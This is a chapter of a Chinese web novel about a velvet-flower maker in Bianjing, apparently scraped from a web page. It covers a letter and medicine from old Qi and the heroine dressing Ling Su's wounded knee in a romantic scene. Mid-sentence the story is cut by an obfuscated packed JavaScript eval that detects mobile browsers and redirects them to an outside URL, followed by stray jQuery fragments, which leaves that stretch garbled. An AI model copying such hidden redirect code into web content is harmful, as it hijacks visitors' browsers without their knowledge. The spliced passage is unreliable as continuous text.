26.第二十六章 痛生

作品:《我在汴京做绒花

    小院消停了几日。


    云雀此前几日都被寄放在王娘子家,如今和常春一道看着只余几贯散碎铜钱的钱匣,愁眉苦脸的叹了口气。


    “唉,之前还满满当当的,现在又得从头来过……阿姐,我的心好痛啊!”云雀小脸皱紧痛心疾首。


    常春再一次后悔自己为什么没要凌夫人的赏赐。


    骨气,骨气能当饭吃吗?


    实在不行,把差旅费报了也可以啊啊啊啊啊啊!


    常春痛定思痛,摩拳擦掌,带着云雀投身工作室,紧锣密鼓的筹划着清明应季绒花的制作,誓要尽快将钱箱恢复原貌。


    不,要让它满上加满!


    正当两人双眼发直地理着各色松花桃红靛蓝的丝线时,门外突然传来马车车轮辘辘滚动之声,随即院门便被拍响了。


    云雀前去开门,不一会儿便跑回来:“阿姐,门口有人送信来,他说要你亲自去拿。”


    常春走过去,只见门外立着一个风尘仆仆的行脚商人,见到常春顿时一笑:“常娘子对吧,这是祁老先生托我给您带的信,还有这一包东西。”


    说着便递过一个信封,和一个粗布大包袱,鼓鼓囊囊的也不知道有些什么。


    常春接了过来,半晌才道:“陈留县的祁先生?他寄东西给我做什么?”


    那行脚商哈哈一笑:“这咱就不知了,我去州桥码头贩完货便要回陈留了,常娘子可有要捎去的东西?”


    常春摇摇头,那行脚商抱拳一礼,便转身走了。


    她回到小院内,苦楝树绿意更深,枝桠间已有了星星点点极不起眼的小花苞。牛角淡淡的日光透过细碎的羽叶落在常春发间。


    她在竹椅上坐下来,先展开了信,看到第一句便笑出了声。


    还是常春熟悉的祁老头狂傲耿介的语气。


    “常春,那小崽子的腿我给治好了,这下安心了否?”


    “不瞒你说,我现在想起凌岳,还是有大耳刮子抽他的冲动。但这几日我去陈留码头边,特意找了些从‘那些’城市来的行船打听了打听,我想,从前是我太闭目塞听了。”


    常春淡淡一笑,接着往下看:“我觉得,那天你所说的时代洪流,确实没人能抵挡得过。但我想了想,人这一生,其实无论庸常也好,天才也罢,都该留下一些东西。”


    “我曾自诩旷世孤才,恃才恣意半生,以为自己守住了风骨气节,如今回想,不过虚度光阴的懦夫罢了。”


    “回首半生,我浪费了太多时间。纵然此时懊悔不已,然我一人之力终究有限,一朝身死魂消,便什么也不剩下了。由是我决定,将我毕生所学所思形成的手札记录,披阅增删,编撰著书,刊行天下。”


    “纵使故梦难回,但这片土地,和土地上的人们,从未变过。”


    看到这里,常春的眼睛有些微微的湿润,这个时代,终究还是带给了她一些充满希望的东西。


    她阖上信,却发现后面还有半页,她拿起来,却见这一页的字迹与之前的龙飞凤舞、恣意张扬不同,此页字字畏畏缩缩,仿佛带着些……心虚。


    常春凝神细看:“那小崽子的腿伤虽已大略治好了,但还须每七日更换新药。”


    “他膝上寒毒甚重,一时难以尽数拔除,因此须鲜活蜈蚣、蝎子等毒虫当场炼制,且炼成后不能保存超过七日,否则便药性全无。因此我每隔七日便会派人送来此药,国公府自会按约定来找你。”


    常春几乎要被气笑了:你送药,非得找我这个中间商做什么,难道是为了让我收点差价吗?我可谢谢你了啊祁老头!


    她继续看下去:“此乃我独家秘方,从药理成分到用法,皆是我不传秘宝,焉能让国公府那群蠹虫败类得知——因此只能麻烦你替那小崽子换换药了,切记切记,七日一次哈!”


    越到最后,心虚缩着的字迹又渐次开始飞舞起来,常春仿佛透过纸面,又看到了祁老头皱着眉,一脸傲娇指指点点的样子。


    她叹了口气,打开包袱。


    最上面是一个粗陶瓶,下面压着一张纸笺子,上面详细写着用药方式和次数,又用蝇头小楷密密麻麻地写了许多禁忌事项。


    常春哼了一声:“嘴硬心软。”


    她又伸手将药瓶下方的布包打开,顿时银光闪烁,包袱内赫然是一包白花花的银两,亮瞎了常春的狗眼。


    一张便条贴在上面:“看你和国公府也不熟的样子,贴自己的钱,办人家的事,痴人!玉瓶易碎,就不还你啦!”


    “另:老婆子很喜欢你的花,你多做点送我,我再送给她!”


    常春终于气得笑出了声,放下便条喊:“云雀、云雀!”


    云雀颠颠跑过来,常春摊开包袱皮:“看,这是什么?”


    迫在眉睫的生存危机一朝得解,云雀蹦起来鼓掌欢呼:“哇,阿姐,我们又有钱啦!”


    次日,国公府果然按照约定的日子前来取药。


    身穿牙白短褙子、葱黄褶裙的婢女盈盈一礼,神色恭谨:“常娘子,婢子名叫禾夏。世子命我来此处接常娘子去府中换药,有劳常娘子了。”


    秋荻、春堇,现在又来了个禾夏……


    常春实在忍不住该死的好奇心,在踏上马车前问道:“你们几个,是不是还有个什么冬?”


    禾夏“扑哧”一声笑了,看着常春目光亮闪闪道:“娘子怎么知道,的确还有个最小的麦冬。”


    常春强忍住自己的表情不要过于崩坏。


    我怎么知道?


    用春夏秋冬来取名字的梗,从星爷电影里的华夫人就开始了啊,凌肃的品味看来也不怎么样啊摔!


    眠风楼,小轩窗下,一丛芭蕉叶绽新碧,映着海棠半残。


    室内沉香袅袅,帘幕半垂,阒寂无声。


    凌肃穿着一袭深青长衫,越发显得身形清癯,此刻他正端坐桌前,手中握着一支朱砂笔,对着眼前的公文凝眉思索。


    今日便是和祁方致约好的由常春来替他换药的日子。


    他神色平静,眉目淡然,除了手中那支笔半晌没有写一个字外,一切都显得十分漫不经心。


    婢女在门外站住了,轻声禀报道:“郎君,常娘子来了。”


    凌肃咳了一声,将笔放上搁架,调整了下表情才道:“请进来。”


    他颊侧的肌肉微微绷紧了,脸色有点苍白,手指也蜷在膝上攥紧了,低着头神色莫辨,看上去有点可怜。


    常春一踏进屋看到的便是这样一副情形。她心中莫名软了软,神情便情不自禁地柔和下来。


    凌肃乖乖坐在那儿,抬眸看她一眼,又很快低下头去,叫了一声:“春娘。”


    似是怕麻烦了她来替他换药,会令她不高兴了。


    常春:我投降,我是老色|批,我真的吃娇滴滴的病弱美人这一套。


    她走过去:“凌大人,祁先生事先应


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938581|191969||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    当也告知了你,他的药是独家秘方,不能轻易为外人所知——因此只得由我来替你换药了,可会令你不自在?”


    凌肃抿紧唇摇摇头。


    常春将药瓶放在事先准备好的托盘中,在凌肃身前蹲了下去。


    她轻轻伸手,小心卷起凌肃小腿的裤子。


    因在家中,凌肃的衣物均以舒适宽松为主,此时软滑丝绸如同井水幽凉,自皮肤上划过,带起一阵战栗。


    常春定神观察了下凌肃的腿,除了尚余一些淤痕外,的确与之前青红肿胀的样子天壤之别。她稍微放心些许,又接着将裤腿卷高至膝上。


    膝盖的情形就不太好了。


    她取下原本的纱布,入眼只见两道手掌长的疤痕,横贯膝头,如同蜈蚣一般张牙舞爪、狰狞可怖,还往外渗着黄红的血水。


    凌肃往后瑟缩了一下。


    常春抬眸。


    凌肃踌躇了一下,低声道:“……丑。”


    常春无语,一把将他的小腿攥住:“直接锯掉就不丑了。”


    掌心热意贴上赤裸的小腿肌肤,凌肃半阖双目,手指不自觉攥紧了椅垫,呼吸乱了几分。


    常春打开祁老头写的说明书,按照步骤,先用三钱黄酒将瓶中药丸化开,再兑入一分柏叶汤,又细细用石蕊花浸过的纱布,将伤口周围渗出的血水擦净。


    不小心碰到创口,凌肃忍不住闷哼一声,常春随即抬眸观察他的反应,手下的动作也不由得放轻了。


    擦完后,常春将化开的药糊涂抹在纱布上,一股浓重的辛辣之气逸散开来,凌肃的脸白了白。


    常春想,这个老头的药怎么都一个路子,那天溅在她脸上的也是这样,感觉辣椒八角桂皮的味道一个不少,难道是熬的火锅底料吗?


    她道:“你忍着点,可能会有点痛。”


    凌肃垂眸专注看着她,她目光中含着担忧,令他觉得浑身就像浸泡在温水中,连毛孔都觉得暖洋洋的。


    他摇了摇头:“无妨。”


    然而祁老头让他装逼不过三秒。


    裹着药糊的纱布覆上膝盖,顿时仿佛一瓢烈火熔着沥青浇了上去,灼痛难忍。


    凌肃立即咬紧了牙关,绷直了脊背。他的颈项向后折去,露出精致脆弱的颈部线条。


    一瞬间的剧痛令他眼前模糊,眼尾飞红,生理性的泪水溢出,打湿了簌簌颤动的睫毛。


    常春看了一眼那小刷子似的睫毛,又看了一眼,罕见地结巴了一下:“你,你实在痛的话可以叫出来。”


    凌肃就着后仰的姿势看向她,一开口声音里带上了浓浓的痛意和委屈:“有一点痛,还好。”


    常春感觉自己的脸腾的一下热了,咬牙三下五除二替他重新将膝盖包扎好,想站起身来。


    却因蹲得太久,腿脚麻痹,猛地往前栽倒,扑到了一个坚实的怀抱中。


    她的手撑在他的胸前,鼻尖与他的脸相隔不过寸许,几乎能数清楚他浓黑纤长的睫毛。


    两人呼吸之间气息交融,馨烈的佛手香气仿佛无孔不入般渗进她的皮肤里。


    她挣扎了一下,想退开,却又听到凌肃痛哼一声。她顿时疑心是不是压到了他的伤处,马上一动不敢动了。


    凌肃抬手,指尖缓缓划过常春左边颊侧,令她颈上都生出一层战栗的小疙瘩。


    他凝望她,声音如梦初醒:“常春,那天你这里烫到了,是不是也这般疼痛?”